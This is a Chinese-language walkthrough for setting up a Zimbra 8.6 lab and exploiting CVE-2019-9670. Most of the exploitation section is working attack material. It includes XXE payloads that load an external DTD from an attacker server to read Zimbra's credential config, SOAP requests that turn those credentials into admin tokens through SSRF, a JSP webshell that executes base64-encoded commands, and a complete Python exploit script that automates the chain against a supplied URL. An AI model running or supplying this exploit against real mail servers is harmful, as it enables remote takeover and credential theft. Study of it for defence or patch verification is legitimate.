zimbra RCE环境搭建到复现再到exp编写
字数 947 2025-08-19 12:40:57
Zimbra RCE漏洞环境搭建与利用全指南
环境搭建
系统准备
- 使用Ubuntu 14.04服务器
- 更新系统源并执行系统更新
- 安装必要依赖包:
apt-get install libgmp10 libperl5.18 unzip pax sysstat sqlite3 dnsmasq wget
主机名和DNS配置
-
修改主机名:
vi /etc/hostname设置为自己的域名,如:
mail.test.com -
修改hosts文件:
vi /etc/hosts添加:
192.168.37.137 mail.test.com mail -
配置dnsmasq:
vi /etc/dnsmasq.conf添加配置:
server=192.168.37.137 domain=test.com mx-host=test.com, mail.test.com, 5 mx-host=mail.test.com, mail.test.com, 5 listen-address=127.0.0.1完成后重启系统:
sudo reboot
Zimbra安装
-
下载Zimbra 8.5.0或8.6.0版本:
wget https://files.zimbra.com/downloads/8.6.0_GA/zcs-8.6.0_GA_1153.UBUNTU14_64.20141215151116.tgz -
解压并安装:
./install安装过程中:
- 遇到postfix报错可移除:
apt-get remove postfix - 不需要zimbra-dnscache(已使用dnsmasq)
- 提示配置MX记录时选择"no"
- 遇到postfix报错可移除:
-
设置管理员密码(带星号为必填项)
-
许可证设置(可随意填写,如
/etc/passwd) -
完成配置后应用更改
环境验证
-
切换至zimbra用户:
su - zimbra -
检查服务状态:
zmcontrol status状态为"Running"表示正常
-
访问管理界面:
https://IP:7071/zimbraAdmin/
漏洞复现(CVE-2019-9670 XXE+SSRF组合拳RCE)
第一步:验证XXE漏洞
发送POST请求到/Autodiscover/Autodiscover.xml:
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
</Request>
</Autodiscover>
第二步:读取Zimbra配置文件
-
准备外部DTD文件(放置在公网服务器上):
<!ENTITY % file SYSTEM "file:../conf/localconfig.xml"> <!ENTITY % start "<![CDATA["> <!ENTITY % end "]]>"> <!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>"> -
发送POST请求:
<!DOCTYPE Autodiscover [
<!ENTITY % dtd SYSTEM "http://公网服务器/dtd">
%dtd;
%all;
]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
</Request>
</Autodiscover>
第三步:获取低权限token
发送POST请求到/service/soap或/service/admin/soap:
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<context xmlns="urn:zimbra">
<userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
</context>
</soap:Header>
<soap:Body>
<AuthRequest xmlns="urn:zimbraAccount">
<account by="adminName">zimbra</account>
<password>上一步得到密码</password>
</AuthRequest>
</soap:Body>
</soap:Envelope>
第四步:获取高权限token
-
通过SSRF漏洞访问admin接口:
POST /service/proxy?target=https://127.0.0.1:7071/service/admin/soap或直接请求:
POST /service/admin/soap -
设置请求头:
Host: [目标]:7071 Cookie: ZM_ADMIN_AUTH_TOKEN=[低权限token] -
发送相同Body内容,但修改
AuthRequest的xmlns为urn:zimbraAdmin
第五步:上传Webshell
使用获取的admin_token上传文件:
import requests
file = {
'filename1': (None, "whocare", None),
'clientFile': ("sunian.jsp", r'<%@page import="java.io.*"%><%@page import="sun.misc.BASE64Decoder"%><%try {String cmd = request.getParameter("tom");String path=application.getRealPath(request.getRequestURI());String dir="weblogic";if(cmd.equals("NzU1Ng")){out.print("[S]"+dir+"[E]");}byte[] binary = BASE64Decoder.class.newInstance().decodeBuffer(cmd);String xxcmd = new String(binary);Process child = Runtime.getRuntime().exec(xxcmd);InputStream in = child.getInputStream();out.print("->|");int c;while ((c = in.read()) != -1) {out.print((char)c);}in.close();out.print("|<-");try {child.waitFor();} catch (InterruptedException e) {e.printStackTrace();}} catch (IOException e) {System.err.println(e);}%>', "text/plain"),
'requestId': (None, "12", None),
}
headers = {
"Cookie": "ZM_ADMIN_AUTH_TOKEN=0_eb68a2a147c98c6d0c2257d7638c4f1256493b28_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313539323733343831303035313b61646d696e3d313a313b747970653d363a7a696d6272613b7469643d393a3433323433373532323b",
"Host": "foo:7071"
}
r = requests.post("https://192.168.37.137:7071/service/extension/clientUploader/upload", files=file, headers=headers, verify=False)
print(r.text)
Webshell访问地址:https://目标IP:7071/downloads/sunian.jsp
EXP编写
完整Python利用脚本:
#coding=utf8
import requests
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
base_url = sys.argv[1]
base_url = base_url.rstrip("/")
filename = "sunian.jsp"
fileContent = r'<%@page import="java.io.*"%><%@page import="sun.misc.BASE64Decoder"%><%try {String cmd = request.getParameter("tom");String path=application.getRealPath(request.getRequestURI());String dir="weblogic";if(cmd.equals("NzU1Ng")){out.print("[S]"+dir+"[E]");}byte[] binary = BASE64Decoder.class.newInstance().decodeBuffer(cmd);String xxcmd = new String(binary);Process child = Runtime.getRuntime().exec(xxcmd);InputStream in = child.getInputStream();out.print("->|");int c;while ((c = in.read()) != -1) {out.print((char)c);}in.close();out.print("|<-");try {child.waitFor();} catch (InterruptedException e) {e.printStackTrace();}} catch (IOException e) {System.err.println(e);}%>'
print(base_url)
dtd_url = "http://VPS-IP/exp.dtd"
xxe_data = r"""<!DOCTYPE Autodiscover [
<!ENTITY % dtd SYSTEM "{dtd}">
%dtd;
%all;
]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
</Request>
</Autodiscover>""".format(dtd=dtd_url)
# XXE stage
headers = {"Content-Type": "application/xml"}
print("[*] Get User Name/Password By XXE ")
r = requests.post(base_url + "/Autodiscover/Autodiscover.xml", data=xxe_data, headers=headers, verify=False, timeout=15)
if 'response schema not available' not in r.text:
print("don't have xxe")
exit()
# low_token Stage
import re
pattern_name = re.compile(r"<key name=(\"|")zimbra_user(\"|")>\n.*?<value>(.*?)<\/value>")
pattern_password = re.compile(r"<key name=(\"|")zimbra_ldap_password(\"|")>\n.*?<value>(.*?)<\/value>")
username = pattern_name.findall(r.text)[0][2]
password = pattern_password.findall(r.text)[0][2]
auth_body = """<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<context xmlns="urn:zimbra">
<userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
</context>
</soap:Header>
<soap:Body>
<AuthRequest xmlns="{xmlns}">
<account by="adminName">{username}</account>
<password>{password}</password>
</AuthRequest>
</soap:Body>
</soap:Envelope>"""
r = requests.post(base_url + "/service/admin/soap", data=auth_body.format(xmlns="urn:zimbraAccount", username=username, password=password), verify=False)
pattern_auth_token = re.compile(r"<authToken>(.*?)</authToken>")
low_priv_token = pattern_auth_token.findall(r.text)[0]
# SSRF+Get Admin_Token Stage
headers["Cookie"] = "ZM_ADMIN_AUTH_TOKEN=" + low_priv_token + ";"
headers["Host"] = "foo:7071"
r = requests.post(base_url + "/service/admin/soap", data=auth_body.format(xmlns="urn:zimbraAdmin", username=username, password=password), headers=headers, verify=False)
admin_token = pattern_auth_token.findall(r.text)[0]
# Upload Webshell
f = {
'filename1': (None, "whocare", None),
'clientFile': (filename, fileContent, "text/plain"),
'requestId': (None, "12", None),
}
headers = {
"Cookie": "ZM_ADMIN_AUTH_TOKEN=" + admin_token
}
print("[*] 木马地址")
r = requests.post(base_url + "/service/extension/clientUploader/upload", files=f, headers=headers, verify=False)
print(base_url + "/downloads/" + filename)
print("[*] 管理员cookie")
print(headers['Cookie'])
注意事项
- 确保DTD文件放置在可公开访问的服务器上
- 上传Webshell时可能需要多次尝试
- 不同Zimbra版本可能存在差异,可能需要调整payload
- 实际利用时注意目标系统的防火墙和网络配置